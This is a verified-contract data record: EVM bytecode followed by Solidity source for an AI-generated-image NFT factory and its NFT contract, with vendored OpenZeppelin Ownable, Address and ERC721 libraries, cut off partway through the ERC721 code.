8051613a72612cce82612c86565b818152856020838501011115613a86575f80fd5b8160208401602083015e5f91810160200191909152949350505050565b84815260a060208201525f613abb60a0830186612b34565b6001600160a01b03949094166040830152506001600160401b039190911660608201528082036080909101525f815260200192915050565b84815260018060a01b0384166020820152826040820152608060608201525f613b1f6080830184612b34565b9695505050505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190525f90613b1f90830184612b34565b5f60208284031215613b6b575f80fd5b8151612b2d81612afd565b5f82613b8457613b846134fc565b500690565b634e487b7160e01b5f52603260045260245ffd5b6001815b6001841115613bd857808504811115613bbc57613bbc6134aa565b6001841615613bca57908102905b60019390931c928002613ba1565b935093915050565b5f82613bee57506001610a80565b81613bfa57505f610a80565b8160018114613c105760028114613c1a57613c36565b6001915050610a80565b60ff841115613c2b57613c2b6134aa565b50506001821b610a80565b5060208310610133831016604e8410600b8410161715613c59575081810a610a80565b613c655f198484613b9d565b805f1904821115613c7857613c786134aa565b029392505050565b5f612b2d8383613be0565b5f60ff831680613c9d57613c9d6134fc565b8060ff84160491505092915050565b60ff818116838216029081169081811461271a5761271a6134aa565b60ff8281168282160390811115610a8057610a806134aa565b60ff8181168382160190811115610a8057610a806134aa56fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa26469706673582212208d0dc68a8a69355a37056ca4d6a584dcd54eb60d51e06420bbc4b2ea0566f96b64736f6c634300081a0033a2646970667358221220ee2f7a79c3dd13feb71f5d01c16ec030d3be0d6f85ed995bb3af57403cd78ee564736f6c634300081a0033 | {{
"language": "Solidity",
"sources": {
"contracts/AIGC_NFT_LoraFactory.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.23;\n\nimport \"./AIGC_NFT_Lora.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract AIGC_NFT_LoraFactory is Ownable {\n\n address public constant aiOracle = 0x0A0f4321214BB6C7811dD8a71cF587bdaF03f0A0;\n address public constant opmlLib = 0xC3287BDEF03b925A7C7f54791EDADCD88e632CcD;\n\n address public trainFeeReceiver;\n\n mapping(string => address[]) public baseAIModelToLora;\n mapping(string => uint256) public baseAIModelToLoraCount;\n\n uint256 public trainFee = 0.005 ether;\n\n event TrainAI(address user, string baseAIModel);\n\n constructor() Ownable(msg.sender) {\n trainFeeReceiver = msg.sender;\n }\n\n function setTrainFee(uint256 _trainFee) external onlyOwner {\n trainFee = _trainFee;\n }\n\n function createAIGC_NFT_Lora(\n string[] calldata vars,\n uint256[] calldata varInt,\n address[] calldata varAddrs\n ) external payable returns (address) {\n require(msg.value >= trainFee, \"Insufficient funds\");\n AIGC_NFT_Lora newAIGC_NFT_Lora = new AIGC_NFT_Lora(\n vars,\n varInt,\n varAddrs\n );\n baseAIModelToLora[vars[4]].push(address(newAIGC_NFT_Lora));\n baseAIModelToLoraCount[vars[4]] += 1;\n\n // transfer training fee to the team\n payable(trainFeeReceiver).transfer(msg.value);\n\n emit TrainAI(msg.sender, vars[4]);\n\n return address(newAIGC_NFT_Lora);\n }\n\n function setTrainFeeReceiver(address _trainFeeReceiver) external onlyOwner {\n trainFeeReceiver = _trainFeeReceiver;\n }\n}\n"
},
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)\n\npragma solidity ^0.8.20;\n\nimport {Context} from \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * The initial owner is set to the address provided by the deployer. This can\n * later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n /**\n * @dev The caller account is not authorized to perform an operation.\n */\n error OwnableUnauthorizedAccount(address account);\n\n /**\n * @dev The owner is not a valid owner account. (eg. `address(0)`)\n */\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\n */\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(initialOwner);\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"contracts/AIGC_NFT_Lora.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.23;\n\n// ref: https://sepolia.etherscan.io/address/0xe75af5294f4CB4a8423ef8260595a54298c7a2FB#code\n\nimport \"./IERC7007Updatable.sol\";\nimport \"./IAIOracle.sol\";\nimport \"./IOpmlLib.sol\";\nimport \"./AIOracleCallbackReceiver.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\n\ncontract AIGC_NFT_Lora is IERC7007Updatable, AIOracleCallbackReceiver, Ownable, ERC721 {\n\n using Address for address;\n\n uint256 public constant aiModelId = 7007;\n address public constant opmlLib = 0xC3287BDEF03b925A7C7f54791EDADCD88e632CcD;\n address public constant _aiOracle = 0x0A0f4321214BB6C7811dD8a71cF587bdaF03f0A0;\n\n uint256 public mintPrice;\n uint256 public totalSupply;\n uint256 public startMintTime;\n uint256 public stopMintTime;\n uint256 public maxTotalSupply; // 0 for no totalsupply limit\n\n string public bannerImg;\n string public logoImg;\n string public baseAIModel;\n string public basePrompt;\n\n address public royaltyReceiverLora;\n address public royaltyReceiverModelOwner;\n\n /// @notice Gas limit set on the callback from AIOracle.\n /// @dev Should be set to the maximum amount of gas your callback might reasonably consume.\n uint64 public aiOracleCallbackGasLimit = 500000; // default sd: 500k\n // mapping(address => uint256) public _mintedCounts;\n\n struct AIGC_Token {\n string prompt;\n string neg_prompt;\n string title;\n uint256 seed;\n address author;\n }\n\n struct AIOracleRequest {\n address sender;\n uint256 modelId;\n bytes input;\n bytes output;\n }\n\n mapping(uint256 => AIGC_Token) public AIGC_tokens; // token ID => xx\n mapping(uint256 => AIOracleRequest) public requests;\n mapping(bytes => uint256) public promptSeedToTokenId;\n mapping(uint256 => mapping(string => string)) public prompts;\n mapping (uint256 => uint256) public tokenIdToRequestId;\n\n event promptsUpdated(\n uint256 requestId,\n uint256 modelId,\n string input,\n string output,\n bytes callbackData\n );\n\n event promptRequest(\n uint256 requestId,\n address sender, \n uint256 modelId,\n string prompt\n );\n\n constructor(\n string[] memory vars,\n uint256[] memory varInt,\n address[] memory varAddrs\n )\n AIOracleCallbackReceiver(IAIOracle(_aiOracle))\n ERC721(vars[0], vars[1])\n Ownable(varAddrs[0]) { // the lora trainer is the owner of this contract\n mintPrice = varInt[0];\n royaltyReceiverLora = varAddrs[0];\n royaltyReceiverModelOwner = varAddrs[1];\n bannerImg = vars[2];\n logoImg = vars[3];\n baseAIModel = vars[4];\n maxTotalSupply = varInt[1];\n startMintTime = varInt[2];\n stopMintTime = varInt[3];\n basePrompt = vars[5];\n }\n\n function setBannerImg(string calldata _bannerImg) external onlyOwner {\n bannerImg = _bannerImg;\n }\n function setLogoImg(string calldata _logoImg) external onlyOwner {\n logoImg = _logoImg;\n }\n function setBaseAIModel(string calldata _baseAIModel) external onlyOwner {\n baseAIModel = _baseAIModel;\n }\n\n function encode(string memory prompt, uint256 seed) public pure returns (bytes memory) {\n bytes memory data = abi.encodePacked(seed, prompt);\n return data;\n } \n\n function getAIResultFromTokenId(uint256 tokenId) public view returns (string memory) {\n if (AIGC_tokens[tokenId].seed == 0) {\n return prompts[aiModelId][string(abi.encodePacked(AIGC_tokens[tokenId].prompt, \"---\", AIGC_tokens[tokenId].neg_prompt))];\n }\n bytes memory data = abi.encodePacked(AIGC_tokens[tokenId].seed, string(abi.encodePacked(AIGC_tokens[tokenId].prompt, \"---\", AIGC_tokens[tokenId].neg_prompt)));\n return prompts[aiModelId][string(data)];\n }\n\n function startOrStopMint() external onlyOwner {\n if (startMintTime == 0) {\n startMintTime = block.timestamp;\n } else {\n stopMintTime = block.timestamp;\n startMintTime = 0;\n }\n }\n\n /**\n * @dev See {IERC7007-addAigcData}.\n */\n function addAigcData(\n uint256 tokenId,\n bytes calldata prompt,\n bytes calldata aigcData,\n bytes calldata proof\n ) public virtual override {\n tokenIdToRequestId[tokenId] = IOpmlLib(opmlLib).initOpmlRequest(prompt);\n IOpmlLib(opmlLib).uploadResult(tokenIdToRequestId[tokenId], aigcData);\n emit AigcData(tokenId, prompt, aigcData, proof);\n }\n\n /**\n * @dev See {IERC7007-verify}.\n */\n function verify(\n bytes calldata prompt,\n bytes calldata aigcData,\n bytes calldata proof\n ) public view virtual override returns (bool success) {\n uint256 tokenId = promptSeedToTokenId[prompt];\n bytes memory output = IOpmlLib(opmlLib).getOutput(tokenIdToRequestId[tokenId]);\n\n return IOpmlLib(opmlLib).isFinalized(tokenIdToRequestId[tokenId]) && (keccak256(output) == keccak256(aigcData));\n }\n\n /**\n * @dev See {IERC7007Updatable-update}.\n */\n function update(\n bytes calldata prompt,\n bytes calldata aigcData\n ) public virtual override {\n require(verify(prompt, aigcData, prompt), \"ERC7007: invalid aigcData\"); // proof argument is not used in verify() function for opML, so we can pass prompt as proof\n uint256 tokenId = promptSeedToTokenId[prompt];\n emit Update(tokenId, prompt, aigcData);\n }\n\n function updateAIOracleCallbackGasLimit(uint64 _gasLimit) external onlyOwner {\n aiOracleCallbackGasLimit = _gasLimit;\n }\n\n // only the AI Oracle can call this function\n function aiOracleCallback(uint256 requestId, bytes calldata output, bytes calldata callbackData) external override onlyAIOracleCallback() {\n AIOracleRequest storage request = requests[requestId];\n require(request.sender != address(0), \"request not exists\");\n prompts[aiModelId][string(request.input)] = string(output);\n emit promptsUpdated(requestId, request.modelId, string(request.input), string(output), callbackData);\n }\n\n function calculateAIResult(string memory prompt, uint256 seed) internal {\n bytes memory input = abi.encodePacked(seed, prompt);\n // we do not need to set the callbackData in this example\n uint256 requestId = aiOracle.requestCallback{value: msg.value - mintPrice}(\n aiModelId, input, address(this), aiOracleCallbackGasLimit, \"\"\n );\n AIOracleRequest storage request = requests[requestId];\n request.input = input;\n request.sender = msg.sender;\n request.modelId = aiModelId;\n emit promptRequest(requestId, msg.sender, aiModelId, prompt);\n }\n\n function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyOwner {\n maxTotalSupply = _maxTotalSupply;\n }\n\n function estimateOAOFee() public view returns (uint256) {\n return aiOracle.estimateFee(aiModelId, aiOracleCallbackGasLimit);\n }\n function estimateTotalFee() public view returns (uint256) {\n return estimateOAOFee() + mintPrice;\n }\n \n /// NFT related\n function mint(address to, string calldata positive_prompt, string calldata neg_prompt, string calldata title, uint256 seed) external payable returns (uint256 tokenId) {\n // check time is after start time\n require(startMintTime != 0 && block.timestamp > startMintTime, \"Sale not started\");\n // check time is not after end time\n require(stopMintTime == 0 || block.timestamp < stopMintTime, \"Sale ended\");\n string memory prompt = string(abi.encodePacked(positive_prompt, \"---\", neg_prompt));\n require(promptSeedToTokenId[encode(prompt, seed)] == 0, \"prompt and seed has already minted\");\n // check fund\n require(msg.value >= estimateTotalFee(), \"Not enough fund to mint NFT\");\n // check totalsupply \n require(maxTotalSupply == 0 || totalSupply < maxTotalSupply, \"Max total supply reached\");\n \n // transfer 10% of mint price to base model owner\n Address.sendValue(payable(royaltyReceiverModelOwner), mintPrice / 10);\n\n // transfer remaining fee to the lora trainer\n Address.sendValue(payable(royaltyReceiverLora), mintPrice * 9 / 10);\n\n // calculate AI result\n AIGC_tokens[totalSupply] = AIGC_Token(positive_prompt, neg_prompt, title, seed, to);\n calculateAIResult(prompt, seed);\n // mint\n super._safeMint(to, totalSupply);\n // increase minted count\n // _mintedCounts[to] ++;\n\n totalSupply ++;\n promptSeedToTokenId[encode(prompt, seed)] = totalSupply; // actual value is minus 1\n\n return totalSupply - 1;\n }\n\n function setRoyaltyReceiverLora(address _newLoraReceiver) external onlyOwner {\n royaltyReceiverLora = _newLoraReceiver;\n }\n\n function setRoyaltyReceiverModelOwner(address _newModelOwnerReceiver) external onlyOwner {\n royaltyReceiverModelOwner = _newModelOwnerReceiver;\n }\n\n /// @dev Withdraw. The contract owner can withdraw all ETH from the NFT sale\n function withdraw() external onlyOwner {\n Address.sendValue(payable(_msgSender()), address(this).balance);\n }\n\n function tokenURI(uint256 tokenId) override public view returns (string memory) {\n string memory json = Base64.encode(bytes(string(abi.encodePacked(\n '{\"name\":\"', AIGC_tokens[tokenId].title, '\", \"attributes\": [{\"trait_type\": \"positive_prompt\", \"value\": \"', AIGC_tokens[tokenId].prompt, '\"}, {\"trait_type\": \"negative_prompt\", \"value\": \"', AIGC_tokens[tokenId].neg_prompt, '\"}, {\"trait_type\": \"seed\", \"value\": \"', toString(AIGC_tokens[tokenId].seed), '\"}, {\"trait_type\": \"author\", \"value\": \"0x', toAsciiString(AIGC_tokens[tokenId].author), '\"}, {\"trait_type\": \"model\", \"value\": \"Stable Diffusion\"}], \"description\": \"Stable Diffusion is a latent text-to-image diffusion model capable of generating photo-realistic images given any text input.\", \"image\": \"https://gateway.pinata.cloud/ipfs/', getAIResultFromTokenId(tokenId), '\"}'))));\n string memory output = string(abi.encodePacked('data:application/json;base64,', json));\n\n return output;\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT license\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n}\n\nfunction toAsciiString(address x) pure returns (string memory) {\n bytes memory s = new bytes(40);\n for (uint i = 0; i < 20; i++) {\n bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));\n bytes1 hi = bytes1(uint8(b) / 16);\n bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));\n s[2*i] = char(hi);\n s[2*i+1] = char(lo); \n }\n return string(s);\n}\n\nfunction char(bytes1 b) pure returns (bytes1 c) {\n if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);\n else return bytes1(uint8(b) + 0x57);\n}\n\n/// [MIT License]\n/// @title Base64\n/// @notice Provides a function for encoding some bytes in base64\n/// @author Brecht Devos <[email protected]>\nlibrary Base64 {\n bytes internal constant TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /// @notice Encodes some bytes to the base64 representation\n function encode(bytes memory data) internal pure returns (string memory) {\n uint256 len = data.length;\n if (len == 0) return \"\";\n\n // multiply by 4/3 rounded up\n uint256 encodedLen = 4 * ((len + 2) / 3);\n\n // Add some extra buffer at the end\n bytes memory result = new bytes(encodedLen + 32);\n\n bytes memory table = TABLE;\n\n assembly {\n let tablePtr := add(table, 1)\n let resultPtr := add(result, 32)\n\n for {\n let i := 0\n } lt(i, len) {\n\n } {\n i := add(i, 3)\n let input := and(mload(add(data, i)), 0xffffff)\n\n let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))\n out := shl(8, out)\n out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))\n out := shl(8, out)\n out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))\n out := shl(8, out)\n out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))\n out := shl(224, out)\n\n mstore(resultPtr, out)\n\n resultPtr := add(resultPtr, 4)\n }\n\n switch mod(len, 3)\n case 1 {\n mstore(sub(resultPtr, 2), shl(240, 0x3d3d))\n }\n case 2 {\n mstore(sub(resultPtr, 1), shl(248, 0x3d))\n }\n\n mstore(result, encodedLen)\n }\n\n return string(result);\n }\n}"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev The ETH balance of the account is not enough to perform the operation.\n */\n error AddressInsufficientBalance(address account);\n\n /**\n * @dev There's no code at `target` (it is not a contract).\n */\n error AddressEmptyCode(address target);\n\n /**\n * @dev A call to an address target failed. The target may have reverted.\n */\n error FailedInnerCall();\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n if (!success) {\n revert FailedInnerCall();\n }\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason or custom error, it is bubbled\n * up by this function (like regular Solidity function calls). However, if\n * the call reverted with no returned reason, this function reverts with a\n * {FailedInnerCall} error.\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert AddressInsufficientBalance(address(this));\n }\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target\n * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an\n * unsuccessful call.\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n // only check if target is a contract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n return returndata;\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the\n * revert reason or with a default {FailedInnerCall} error.\n */\n function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n /**\n * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.\n */\n function _revert(bytes memory returndata) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert FailedInnerCall();\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.20;\n\nimport {IERC721} from \"./IERC721.sol\";\nimport {IERC721Receiver} from \"./IERC721Receiver.sol\";\nimport {IERC721Metadata} from \"./extensions/IERC721Metadata.sol\";\nimport {Context} from \"../../utils/Context.sol\";\nimport {Strings} from \"../../utils/Strings.sol\";\nimport {IERC165, ERC165} from \"../../utils/introspection/ERC165.sol\";\nimport {IERC721Errors} from \"../../interfaces/draft-IERC6093.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\nabstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Errors {\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n mapping(uint256 tokenId => address) private _owners;\n\n mapping(address owner => uint256) private _balances;\n\n mapping(uint256 tokenId => address) private _tokenApprovals;\n\n mapping(address owner => mapping(address operator => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual returns (uint256) {\n if (owner == address(0)) {\n revert ERC721InvalidOwner(address(0));\n }\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual returns (address) {\n return _requireOwned(tokenId);\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual returns (string memory) {\n _requireOwned(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string.concat(baseURI, tokenId.toString()) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual {\n _approve(to, tokenId, _msgSender());\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual returns (address) {\n _requireOwned(tokenId);\n\n return _getApproved(tokenId);\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n // Setting an \"auth\" arguments enables the `_isAuthorized` check which verifies that the token exists\n // (from != 0). Therefore, it is not needed to verify that the return value is not 0 here.\n address previousOwner = _update(to, tokenId, _msgSender());\n if (previousOwner != from) {\n revert ERC721IncorrectOwner(from, tokenId, previousOwner);\n }\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) public {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {\n transferFrom(from, to, tokenId);\n _checkOnERC721Received(from, to, tokenId, data);\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n *\n * IMPORTANT: Any overrides to this function that add ownership of tokens not tracked by the\n * core ERC721 logic MUST be matched with the use of {_increaseBalance} to keep balances\n * consistent with ownership. The invariant to preserve is that for any address `a` the value returned by\n * `balanceOf(a)` must be equal to the number of tokens such that `_ownerOf(tokenId)` is `a`.\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns the approved address for `tokenId`. Returns 0 if `tokenId` is not minted.\n */\n function _getApproved(uint256 tokenId) internal view virtual returns (address) {\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `owner`'s tokens, or `tokenId` in\n * particular (ignoring whether it is owned by `owner`).\n *\n * WARNING: This function assumes that `owner` is the actual owner of `tokenId` and does not verify this\n * assumption.\n */\n function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {\n return\n spender != address(0) &&\n (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Checks if `spender` can operate on `tokenId`, assuming the provided `owner` is the actual owner.\n * Reverts if `spender` does not have approval from the provided `owner` for the given token or for all its assets\n * the `spender` for the specific `tokenId`.\n *\n * WARNING: This function assumes that `owner` is the actual owner of `tokenId` and does not verify this\n * assumption.\n */\n function _checkAuthorized(address owner, address spender, uint256 tokenId) internal view virtual {\n if (!_isAuthorized(owner, spender, tokenId)) {\n if (owner == address(0)) {\n revert ERC721NonexistentToken(tokenId);\n } else {\n revert ERC721InsufficientApproval(spender, tokenId);\n }\n }\n }\n\n /**\n * @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n *\n * NOTE: the value is limited to type(uint128).max. This protect against _balance overflow. It is unrealistic that\n * a uint256 would ever overflow from increments when these increments are bounded to uint128 values.\n *\n * WARNING: Increasing an account's balance using this function tends to be paired with an override of the\n * {_ownerOf} function to resolve the ownership of the corresponding tokens so that balances and ownership\n * remain consistent with one another.\n */\n function _increaseBalance(address account, uint128 value) internal virtual {\n unchecked {\n _balances[account] += value;\n }\n }\n\n /**\n * @dev Transfers `tokenId` from its current owner to `to`, or alternatively mints (or burns) if the current owner\n * (or `to`) is the zero address. Returns the owner of the `tokenId` before the update.\n *\n * The `auth` argument is optional. If the value passed is non 0, then this function will check that\n * `auth` is either the owner of the token, or approved to operate on the token (by the owner).\n *\n * Emits a {Transfer} event.\n *\n * NOTE: If overriding this function in a way that tracks balances, see also {_increaseBalance}.\n */\n function _update(address to, uint256 tokenId, address auth) internal virtual returns (address) {\n address from = _ownerOf(tokenId);\n\n // Perform (optional) operator check\n if (auth != address(0)) {\n _checkAuthorized(from, auth, tokenId);\n }\n\n // Execute the update\n if (from != address(0)) {\n // Clear approval. No need to re-authorize or emit the Approval event\n _approve(address(0), tokenId, address(0), false);\n\n unchecked {\n _balances[from] -= 1;\n }\n }\n\n if (to != address(0)) {\n unchecked {\n _balances[to] += 1;\n }\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n return from;\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal {\n if (to == address(0)) {\n revert ERC721InvalidReceiver(address(0));\n }\n address previousOwner = _update(to, tokenId, address(0));\n if (previousOwner != address(0)) {\n 